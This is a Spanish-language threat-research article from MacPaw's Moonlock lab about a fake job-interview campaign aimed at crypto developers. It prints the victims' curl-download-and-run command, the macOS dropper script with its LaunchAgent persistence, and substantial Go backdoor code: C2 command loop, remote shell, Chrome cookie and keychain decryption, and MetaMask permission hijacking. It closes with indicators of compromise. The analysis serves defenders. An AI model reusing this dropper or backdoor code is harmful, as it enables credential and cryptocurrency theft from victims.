paint-brush
Los cibercriminales están usando anuncios de empleo falsos para robar criptomonedaspor@moonlock
2,662 lecturas
2,662 lecturas

Los cibercriminales están usando anuncios de empleo falsos para robar criptomonedas

por Moonlock (by MacPaw)19m2025/02/13
Read on Terminal Reader

Demasiado Largo; Para Leer

Una campaña cibernética en curso está apuntando a los solicitantes de empleo con sitios web de entrevistas falsos, engañándolos para que descarguen una puerta trasera básica pero muy efectiva. A diferencia del malware sofisticado que utiliza técnicas de ofuscación, este ataque se basa en la simplicidad. Aún más preocupante es su intento de secuestrar los permisos de la extensión de Chrome relacionada con las criptomonedas MetaMask.
featured image - Los cibercriminales están usando anuncios de empleo falsos para robar criptomonedas
Moonlock (by MacPaw) HackerNoon profile picture
0-item

Escrito por el equipo del laboratorio Moonlock de MacPaw


Una campaña cibernética en curso está apuntando a los solicitantes de empleo con sitios web de entrevistas falsos, engañándolos para que descarguen una puerta trasera básica pero muy efectiva. A diferencia del malware sofisticado que utiliza técnicas de ofuscación, este ataque se basa en la simplicidad: entrega el código fuente junto con un binario de Go, lo que lo hace multiplataforma. Aún más preocupante es su intento de secuestrar los permisos de la extensión de Chrome relacionada con las criptomonedas MetaMask, lo que podría vaciar las billeteras de las víctimas.


La campaña sigue activa y aparecen nuevos dominios periódicamente para atraer a más víctimas. Muchos investigadores de seguridad individuales y empresas, como Centinela Uno , volcado de datos , y ENKI Sombrero Blanco , han publicado excelentes análisis. Nuestro equipo realizó una investigación independiente y, en este artículo, compartimos nuestros hallazgos y estrategias de búsqueda.


El equipo de Moonlock Lab comenzó a rastrear este malware en particular el 9 de octubre de 2024, cuando comenzaron a aparecer los primeros componentes de la puerta trasera. Una puerta trasera es un tipo de software malicioso que se oculta en un sistema y permite a los actores de amenazas ejecutar comandos de forma remota, como si fueran los propietarios legítimos de la estación de trabajo. Estos ataques suelen utilizar los denominados servidores C2 (Comando y Control) para enviar y ejecutar comandos.


Lo que distingue a este ataque de otros que observamos habitualmente es que consta de varias etapas y está diseñado para persistir en la máquina de la víctima en lugar de emplear un flujo de robo de datos de una sola vez. En la siguiente imagen se puede ver una descripción completa de las etapas del ataque.



El primer hilo bien estructurado sobre X que notamos fue publicado por @tayvano_ , quien compartió información sobre una probable campaña maliciosa dirigida principalmente a desarrolladores de software que buscan trabajo en empresas de blockchain.


' Generalmente comienza con un "reclutador" de una empresa conocida, por ejemplo, Kraken, MEXC, Gemini, Meta. Los rangos de pago y el estilo de mensajería son atractivos, incluso para aquellos que no buscan trabajo activamente. Principalmente a través de Linkedin. También sitios de autónomos, sitios de empleo, tg, discord, etc.


Para obtener la última versión de este malware, era esencial monitorear los nuevos dominios que albergaban sitios de entrevistas falsas. Para ello, nuestro equipo se basó en dos indicadores inmutables que estos dominios comparten:


  • Patrón de URL similar “/video-questions/crear/” seguido de una identificación codificada:

Fuente: urlscan.io

  • La misma imagen ( logo.png ) en las páginas:

Fuente: urlscan.io


Aunque algunos de los dominios utilizados durante esta campaña se están cerrando, siguen apareciendo nuevos, y el más reciente sigue en línea: smarthiretop[.]online . Nuestro equipo ha detectado más de 20 dominios activos desde noviembre de 2024.

Después de investigar los dominios, descubrimos que algunos de ellos comparten la misma dirección IP. Esto suele suceder porque los atacantes utilizan proveedores de alojamiento a prueba de balas, que permiten alojar varios dominios en el mismo servidor. Además, alojar varios dominios en una única IP permite a los actores de amenazas rotar los dominios sin cambiar la infraestructura del backend.

Esta infraestructura maliciosa está alojada en varios servicios distribuidos por todo el mundo. Como se muestra en el mapa a continuación, la mayoría de los servidores están ubicados en los EE. UU., y algunos están repartidos por otros países.


El comando malicioso que se les pidió ejecutar a los entrevistados se oculta en la ventana que aparece cuando visitan un sitio web malicioso. Es un código JS, incluido en el archivo main.39e5a388.js en este caso. Estos nombres de archivo generalmente se generan mediante un mecanismo de hash o de huellas digitales durante el proceso de creación de una aplicación web (Referencia: https://urlscan.io/result/0ad23f64-4d61-49c8-8ed8-0d33a07419f4 ).


Una de las páginas tiene este archivo JS incorporado con el siguiente hash SHA256:

  • f729af8473bf98f848ef2dde967d8d301fb71888ee3639142763ebb16914c803


Podríamos detectar fácilmente que dentro de un archivo JS creado se encuentran los mismos comandos que se les pidió a las víctimas que ingresaran:


Después de comprender cómo el actor de amenazas propaga el malware, nuestro objetivo principal era encontrar rápidamente muestras y desarrollar firmas para nuestros usuarios. La primera mención directa de muestras "listas para producción" y sus hashes SHA-256 que encontramos fue en este hilo:

https://x.com/dimitribest/status/1873343968894689472 .


Incluía cinco hashes, a saber:

  • 96e78074218a0f272f7f94805cabde1ef8d64ffb *archivo.zip;
  • 86dea05a8f40cf3195e3a6056f2e968c861ed8f1 *nodejs.zip;
  • 321972e4e72c5364ec1d5b9e488d15c641fb1819 *nvidia-real.zip;
  • 3405469811bae511e62cb0a4062aadb523cad263 *VCam_arm64.zip;
  • c0baa450c5f3b6aacde2807642222f6d22d5b4bb *VCam_intel.zip.


Además de esto, nuestro equipo comenzó a buscar scripts maliciosos como si nos hubieran engañado para que los descargáramos, al igual que las víctimas. En un momento dado, se utilizó el siguiente comando en sitios web de entrevistas falsas:

Comando de la captura de pantalla (¡no ejecutar!):

 sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &'


Realiza las acciones que se enumeran a continuación:

  • Obtiene el archivo ffmpeg-ar.sh de api[.]nvidia-release[.]org;
  • Lo almacena en /var/tmp/ffmpeg.sh;
  • Ejecuta el archivo y redirige toda la salida a /dev/null para ocultarlo a un usuario.


Dentro del archivo ffmpeg.sh guardado en una carpeta temporal, podemos encontrar el punto de entrada para este ataque, que incluye:

  • Descarga de archivos ZIP de segunda etapa con carga útil;
  • Colocar archivo PLIST y registrar servicio para persistencia;
  • Realizar una limpieza.


Como podemos ver en el script que aparece a continuación, está diseñado específicamente para macOS, tanto para Intel como para ARM. Después de definir el modelo de CPU actual, descarga un archivo ZIP con varios archivos. Puede encontrar una revisión más detallada de este script en Este blog , como lo menciona SentinelOne en su Informe reciente .

 #!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup

Referencia: Virus Total


El contenido del archivo (versión para CPU Intel) que obtiene el script se enumera a continuación:

Todos los archivos del archivo se pueden clasificar en algunos grupos:

  • Partes del código fuente de Go y sus binarios ( https://github.com/golang/go )
  • ChromeUpdateAlert.app : un AppBundle que contiene un binario Mach-O que recopila la IP y la contraseña del usuario
  • Una puerta trasera escrita por Go y un ladrón
  • vcamservice.sh : un script que inicia el archivo ejecutable principal basado en Go


Curiosamente, el archivo tiene un tamaño aproximado de 75 MB, principalmente porque incluye muchas partes de bibliotecas y binarios Go legítimos.

Análisis del ladrón de contraseñas Mach-O

Uno de los archivos que observamos que se utilizó durante un largo período de tiempo en este ataque es un binario universal Mach-O con 2 arquitecturas, llamado CameraAccess ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a ).


Se hace pasar por un ícono de Google Chrome, lo que hace que los usuarios habituales crean que el archivo es legítimo y les impide eliminarlo.

El código está escrito en Swift y no se detectaron técnicas de ofuscación fuertes, lo que hace que sea relativamente fácil comprender el flujo de ejecución.

Muestra una ventana que parece una ventana de notificación del sistema, pidiendo al usuario que conceda acceso al micrófono, supuestamente solicitado desde la aplicación Google Chrome.

Incluso si el usuario selecciona "Recordarme más tarde", seguirá apareciendo una ventana solicitando contraseña.

La aplicación afirma requerir acceso al micrófono; sin embargo, está aislada y no se realiza ninguna solicitud de permiso real para el micrófono.

Una vez que el usuario ingresa su contraseña, el malware solicita la dirección IP externa del host en el que se está ejecutando. Luego envía el archivo password.txt a una carpeta de Dropbox que lleva el nombre de la dirección IP externa del usuario.

En la captura de pantalla a continuación se puede ver la URL de la API de Dropbox.

Al examinar el tráfico de la red, pudimos ver intentos de recuperar la dirección IP pública de una víctima.

Una vez recibida la dirección IP, podremos ver solicitudes a Dropbox para cargar el par IP-contraseña usando credenciales codificadas.

Nuestro equipo informó este incidente a Dropbox, junto con las credenciales utilizadas para llevar a cabo esta campaña abusiva.

Análisis de la puerta trasera escrita en Go

Es importante señalar que el archivo ZIP descargado por el script ffmpeg.sh contiene el código fuente en texto plano de la puerta trasera, lo que significa que no fue precompilado ni ofuscado. Esto aceleró significativamente el análisis, pero también planteó dudas sobre la atribución adecuada. Huelga decir que los grupos APT de la RPDC suelen ser mucho más sofisticados.


Otra estrategia inusual es la inclusión de un binario de Go ( /bin/go ) en el archivo en lugar de simplemente compilar el código completo. Sin embargo, dado que Go no es la aplicación predeterminada en muchos sistemas operativos, los actores de amenazas pueden haberlo incluido para lograr una mejor compatibilidad. Esto tiene sentido dado que el malware es multiplataforma y se dirige a macOS, Linux y Windows al mismo tiempo.


Un gráfico que ilustra las relaciones y una descripción detallada de cada muestra notable se puede encontrar aquí: Esencia

Punto de entrada

Dentro del archivo, hay un script llamado vcamupdate.sh . Se ejecuta inmediatamente después de descomprimirlo y simplemente ejecuta /bin/go (que está incluido en el ZIP) mientras pasa la ruta a la aplicación principal de Golang ( app.go en este caso).

 #!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0


La aplicación de entrada ( app.go ) es responsable de generar un UUID único para la estación de trabajo del usuario, inicializar la URL de C2 e iniciar el bucle principal. En el código podemos ver comentarios de una sola línea, impresiones de mensajes de apoyo y algo de código comentado. También incluye URL probablemente destinadas a pruebas, que los desarrolladores olvidaron eliminar. A pesar de que la dirección IP de C2 es diferente en la campaña principal, las muestras de 2024 compartían la misma funcionalidad y apuntaban a los mismos datos.


Más adelante, la llamada a core.StartMainLoop(id, url) nos lleva a la carpeta core/ con los archivos loop.go y work.go. El archivo loop.go es el principal responsable de recibir y ejecutar comandos desde C2, llamar a submódulos que recopilan datos confidenciales y cargarlos al servidor remoto. Contiene muchas funciones, 8 de las cuales nos gustaría destacar y explorar con más detalle.

Función StartMainLoop

Esta función utiliza el submódulo config para inicializar los comandos disponibles y escuchar los entrantes. A continuación, puede encontrar una tabla con todos los comandos junto con sus códigos correspondientes. Puede encontrar un análisis más detallado de la funcionalidad de la puerta trasera en Esta publicación .

Nombre del comando

Nombre codificado

Descripción

INFORMACIÓN DEL COMANDO

qwer

Obtener nombre de usuario, host, sistema operativo, arquitectura

COMANDO_CARGAR

asdf

Subir y descomprimir archivo arbitrario desde C2 al host

COMANDO_DESCARGAR

zxcv

Descargar datos robados a C2

COMANDO_OSSHELL

VBCX

Inicializar el shell interactivo entre el host y C2 (ejecutar comandos remotos arbitrarios)

COMANDO_AUTOMÁTICO

r4ys

Recopilar automáticamente datos confidenciales

COMANDO_ESPERAR

ghdj

Espere X segundos

COMANDO_SALIR

¡Dghh!

Salir del bucle principal (establecer vivo=falso)

Según el comando recibido de C2, se llamará una función apropiada.

 func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } }

Función processInfo

Esta función recopilará información básica del sistema, como el nombre de usuario, el nombre de host, la versión del sistema operativo y la arquitectura. Cabe señalar que la mayoría de los ladrones de información más conocidos recopilan mucha más información del sistema que este malware.

 func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data }

Proceso de funciónSubir

En este caso, la carga representa el proceso de envío de un archivo desde el C2 al host infectado, seguido de su descompresión. También indica si la descompresión se realizó correctamente.

 func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } }

Proceso funcionalDescargar

Esta función es la inversa de la anterior. Realiza la compresión de un directorio con archivos recopilados previamente en un archivo tar.gz.

 func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } }

Función processOsShell

Esta es una función que debe tener un verdadero backdoor. Espera un comando arbitrario e intenta ejecutarlo. Un comando puede tener argumentos de línea de comandos y la salida se registrará directamente en un C2.

 func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } }

Función processAuto

Este es el punto de entrada del flujo de robo. Esta función contiene múltiples llamadas a los archivos ubicados en la carpeta auto/. Incluyen capturadores, procesadores o modificadores de los siguientes datos:

  • Llavero
  • Datos de inicio de sesión de Chrome
  • Cookies de Chrome
  • Extensión Chrome MetaMask (claves, permisos, etc.)
  • Perfil de Chrome
 func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data }

Proceso de función Esperar

Función de utilidad utilizada para enviar la puerta trasera al modo de suspensión, a la espera de más comandos.

 func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} }

Función processExit

Esta es una función de utilidad que se utiliza para salir del bucle principal de comunicación con el C2.

 func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } }

Implementación de la recopilación automática de datos de Chrome

La carpeta auto/ contiene un conjunto de aplicaciones Go:

  • básico.go

     const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" )
    • Aquí podemos ver constantes definidas con datos de destino a capturar, se hace evidente que el foco principal está en la extensión MetaMask.
  • Chrome_cambiar_pref.go

     // get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` }
     // chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() }
    • Mata todos los procesos de Chrome actualmente activos y cambia ciertos permisos para la extensión MetaMask .
    • La configuración JSON sugiere un comportamiento potencialmente malicioso de la extensión debido a sus amplios permisos y al método de instalación manual.
    • El permiso " webRequest " permite que la extensión intercepte y modifique las solicitudes de red, lo que permite el robo de datos o los ataques de phishing. El permiso " clipboardWrite " se puede utilizar para capturar y modificar los datos del portapapeles, lo que podría permitir el robo de direcciones o contraseñas de criptomonedas.
    • La sección " scriptable_host ", que incluye " file:///* ", " https://*/* " y " http://*/* ", permite la ejecución de scripts en todos los sitios web y el acceso a archivos locales, lo que permite el robo de credenciales o la exfiltración no autorizada de datos.
    • La sección " explícito_host " otorga acceso a dominios relacionados con criptomonedas, como https://*.infura.io/* y https://*.cx.metamask.io/* , que podrían explotarse para manipular transacciones.
    • El campo " from_webstore ": false indica que la extensión se instaló manualmente o por medios no autorizados, lo que sugiere una posible manipulación. El campo " comandos " asigna un atajo de teclado para activar la extensión, lo que puede desencadenar un comportamiento malicioso oculto.
    • Estos factores combinados indican que la extensión podría utilizarse para acceso no autorizado, robo de datos o fraude financiero.
  • cookie_crome_darwin.go

     var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil }
    • Se utiliza para recuperar la contraseña relacionada con Google Chrome desde el almacenamiento local.
    • Recopila datos de llavero con almacenamiento adicional en gatherchain.tar.gz .
  • cookie_cromo_otro.go

    • Lo mismo pero para Linux.
  • Chrome_cookie_win.go

    • Lo mismo pero para Windows.
  • Chrome_gather.go

     func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data
    • Recopila configuraciones de extensión locales (si existen en el sistema) y las empaqueta en gather.tag.gz

Conclusiones

Para concluir nuestro análisis, debemos destacar los puntos más importantes:

  • Después de un robo de contraseñas exitoso, se puede acceder de forma remota a la estación de trabajo de la víctima a través del C2 para robar aún más datos, incluidos archivos personales almacenados en el sistema. Esto hace que este malware sea mucho más peligroso que los ladrones comunes que generalmente se ejecutan en el sistema una vez y recopilan solo los archivos que están en su lista.
  • El código de puerta trasera se escribe de acuerdo con las mejores prácticas de programación, los comentarios se dejan tal como están, lo que deja una pregunta abierta sobre por qué el código no se compiló de antemano.
  • Solo una extensión relacionada con criptomonedas está en la mira, probablemente contando con obtener acceso remoto para buscar manualmente otras herramientas criptográficas populares y datos confidenciales en el sistema.
  • La campaña sigue en curso, lo que indica que la estrategia de los actores de la amenaza sigue siendo eficaz y no requiere cambios inmediatos. Sin embargo, creemos que pronto podrían surgir campañas similares con infraestructura actualizada.

COI

Dominios

 app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com

SHA256

 b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182

C2

 hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080